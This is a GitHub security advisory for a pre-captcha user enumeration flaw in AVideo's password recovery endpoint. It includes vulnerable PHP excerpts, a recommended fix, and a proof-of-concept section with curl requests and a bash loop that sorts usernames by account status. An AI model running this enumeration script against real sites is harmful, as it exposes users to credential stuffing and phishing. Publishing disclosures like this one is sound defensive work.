CVE-2026-33688: Wwbn/avideo AVideo Has Pre-Captcha User Enumeration Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m99f-mmvg-3xmx",
  "modified" : "2026-03-25T19:53:00Z",
  "published" : "2026-03-25T19:53:00Z",
  "aliases" : [ "CVE-2026-33688" ],
  "summary" : "AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint",
  "details" : "## Summary\n\nThe password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks **before** validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.\n\n## Details\n\nIn `objects/userRecoverPass.php`, the request flow is:\n\n1. **Line 11** — A `User` object is instantiated from unsanitized `$_REQUEST['user']` with no authentication:\n```php\n$user = new User(0, $_REQUEST['user'], false);\n```\n\n2. **Lines 27-29** — If the user does not exist, a distinct error is returned immediately:\n```php\nif (empty($user->getStatus())) {\n    $obj->error = __(\"User not found\");\n    die(json_encode($obj));\n}\n```\n\n3. **Lines 31-33** — If the user exists but is not active, a different distinct error is returned:\n```php\nif ($user->getStatus() !== 'a') {\n    $obj->error = __(\"The user is not active\");\n    die(json_encode($obj));\n}\n```\n\n4. **Lines 37-41** — Captcha validation only occurs **after** both user enumeration checks:\n```php\nif (empty($_REQUEST['captcha'])) {\n    $obj->error = __(\"Captcha is empty\");\n} else {\n    require_once 'captcha.php';\n    $valid = Captcha::validation($_REQUEST['captcha']);\n```\n\nThis ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.\n\nBy contrast, the registration endpoint (`objects/userCreate.json.php`) correctly validates the captcha at lines 32-42 **before** performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.\n\nNo rate limiting (`rateLimitByIP`) or brute force protection (`bruteForceBlock`) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).\n\n## PoC\n\n```bash\n# 1. Test a non-existent user — returns \"User not found\" without captcha\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n  -d 'user=nonexistent_user_xyz&captcha=' | jq .error\n# Response: \"User not found\"\n\n# 2. Test a valid active user — passes user checks, hits captcha validation\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n  -d 'user=admin&captcha=' | jq .error\n# Response: \"Captcha is empty\"\n\n# 3. Test an inactive/banned user (if one exists) — returns distinct status message\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n  -d 'user=banned_user&captcha=' | jq .error\n# Response: \"The user is not active\"\n\n# 4. Bulk enumeration script — no captcha solving required\nfor user in admin root test user1 user2 moderator editor; do\n  result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n    -d \"user=${user}&captcha=\")\n  error=$(echo \"$result\" | jq -r .error)\n  if [ \"$error\" = \"Captcha is empty\" ]; then\n    echo \"[ACTIVE] $user\"\n  elif [ \"$error\" = \"The user is not active\" ]; then\n    echo \"[INACTIVE] $user\"\n  else\n    echo \"[NOT FOUND] $user\"\n  fi\ndone\n```\n\n## Impact\n\n- **Username enumeration**: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.\n- **Account status disclosure**: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.\n- **Credential stuffing enablement**: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.\n- **Phishing**: Knowledge of valid active accounts enables targeted social engineering attacks against real users.\n- **No throttling**: The absence of rate limiting on this endpoint allows high-speed automated enumeration.\n\n## Recommended Fix\n\nMove the captcha validation before the user existence checks, and return a generic message regardless of user status:\n\n```php\n// In objects/userRecoverPass.php, replace lines 26-41 with:\n\n    header('Content-Type: application/json');\n\n    // Validate captcha FIRST, before any user lookups\n    if (empty($_REQUEST['captcha'])) {\n        $obj->error = __(\"Captcha is empty\");\n        die(json_encode($obj));\n    }\n    require_once 'captcha.php';\n    $valid = Captcha::validation($_REQUEST['captcha']);\n    if (!$valid) {\n        $obj->error = __(\"Your code is not valid\");\n        $obj->reloadCaptcha = true;\n        die(json_encode($obj));\n    }\n\n    // After captcha passes, check user — but use generic message\n    if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {\n        // Generic message — do not reveal whether user exists or is active\n        $obj->success = __(\"If this account exists, a recovery email has been sent\");\n        die(json_encode($obj));\n    }\n\n    // Proceed with actual password recovery...\n    $recoverPass = $user->setRecoverPass();\n```\n\nAdditionally, consider adding `rateLimitByIP()` to this endpoint as defense-in-depth.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-m99f-mmvg-3xmx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33688"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/e42f54123b460fd1b2ee01f2ce3d4a386e88d157"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-204" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T19:53:00Z",
    "nvd_published_at" : "2026-03-23T19:16:42Z"
  }
}